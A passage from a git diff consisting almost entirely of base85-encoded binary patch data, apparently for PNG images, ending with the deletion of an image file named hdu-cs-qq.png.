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 literal 0 HcmV?d00001 diff --git a/hdu-cs-qq.png b/hdu-cs-qq.png deleted file mode 100644 index a30b54eeba52b9412bb9cc54316c1f7f4fa73564..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 33058 zcmc$F1yft!*ELWixI=IP!7WG&rMO%1;_mKH+}*8Mad&rjx1zCc5f4Wa3M7<5JLt{ySE*$GSkVER=h5XqR)M}Zi4LjZx^<_-{QJ1;X!}Ym?)kW=qP+|lqTx#$tQ7r zkHQ3BqPE_HVotdK8r%DUcF32PO!uXIm z-fMUwBQY0=W40d7{Jyl*_NFC}%Po#m+_d{WT)YohKp6I&Yj}d!G8mqvN?R3zIo9f1oiq4(9&x-|j5c*?A2X zeTz@NDr4h+Tu9AczklE;*4vdbG&F5nve3qL&Ptx;hZ_cOQytk0?HCPe&@Yn~)(`tCE=((-galTesc!$`XeJ1b6(DXo2QEcj&FJSv7upr(O3N&ARqY$uZqXf!Fqew{bM0 zGNfcLQ-?i})BBlqX8}x90_=y)2L0#Z`y5}yw_p;?uIH@gy>osZ>D>uI&$ko(w=bqi z$T6nW$C-uKTr?*FnbgaEG;?|bj69EF3}ePIH(W8b?jx`NMDNa1+AF8IeK-dC5g zMVRR1GusZm-)5J)b=b&P^mIlkSfFVS-?oi=!vi;BdT#i1b*0z}-kg7j6NSNI4PHyJ z9`{qN?mgYawu_v;jI&+jlq9Wc?CSC@M|PulP8n^v05D&8{e{_gi5 z?%(I^U(_9**?iwI-wxl;d&1VB{y~%FMYLS(DfsRvn4KGjUYfsOyr;fvE_>(<`1bq{ zchip-Zyj5GK;$~v@4P}A?e}>tz6U)or;}Mduhua?yP+up&T0}kCaLrJRiTmadlAgxM-Zn|@qdpB zlofp0*}z=CP+bqB@N(Ju0Dq|N>jG;h_%Qt)&-fVWf9oKy=iyb*zuO7Ph30iN^?jbn zXNBXrODrNtad-iW5C9Zj|0nOJ+__&+M5MY_T(qZ_c6Zlz`|FyTWV#O8f5;3qk%cKm z-rjf(r`h?X2*tgDr2{Gd(Pm$G?d>>RFL{2q?&xUyyn2N8>;oD+@zIndq7l{8Rz10e zuF7$picj3;?HI<0oEk-1Woi|RGK*EMDW>ehrHD(TIkJEN0{>tvnKIioX=VGVsU|`~ zy1g-Xj!S+8hiP2$M?Jq1&fn{+dirb_sSKA%1ty~vXfl=s{L5Nt=5`^#=rlFwYS-Pt z2;+(o;+RlFpz=6Rtj|_XG@Z7#_P~w<7jeu;Qtv(g3~C@GvLAwmEke-Sth?+=TB22^ zYQ5MlV(ekM;z&9Gfebs6VulUG+{Tb_+i}U09vaf`@c?7mwY7ufQ=Q*D{lH-)P^ZX% z#hTV!j8mbx3znbcvp+j8Z+x$+tOSN8fFlk)UVYzJ7p-4~x2|6xfZ;vIo~^CT&CQjS zBe(X~J_8=oSjoLHlU+;7V4WD5BISyT_lzpDibb22!^6Y1DYXi_4LWLP@TMjp$W<@Dp|4MGY zjjqK}2x91<4@fx(kYX&=Y`H%PzHT%{rOG6BdM9)I84>PU>^$j1y6`;-k}sOGX(Eo{ zHMZd+7regVR1kPKKRed6^sHjLWMMoOA@ILI=dOp8r)o*t>d%88x@wr=? z(iX-thz^lZ5)NGcY%o31JsO8Zg`XoJnhln2{#cmYY%2&&kng{sL-`y5*ZYm{g8zCy z9G>&GG&d8AD^;y@9@=8+`kuE@@V&a2J6GHgQur%RcxoDiDp_-#d;G2XE_k!OJ1$f3 